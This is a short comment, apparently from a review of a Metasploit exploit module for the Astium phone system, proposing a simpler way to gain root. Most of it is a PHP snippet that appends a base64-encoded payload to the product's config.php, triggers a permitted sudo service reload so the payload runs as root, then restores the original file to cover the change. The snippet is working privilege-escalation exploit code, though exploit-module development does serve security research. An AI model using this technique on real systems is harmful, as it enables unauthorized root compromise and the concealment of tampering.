I think I see. If sudo will only let us run the command `sudo /sbin/service astcfgd reload`, then it makes sense to overwrite a file get root. However, it seems like you could do all this with one payload and less trouble with something like this:
```php
$orig = file_get_contents('/usr/local/astium/web/php/config.php');
$replacement = $orig . base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
$f = fopen('/usr/local/astium/web/php/config.php', 'w');
fwrite($f, $replacement);
fclose($f);
system('sudo /sbin/service astcfgd reload');
sleep(60);
$f = fopen('/usr/local/astium/web/php/config.php', 'w');
fwrite($f, $orig);
fclose($f);
```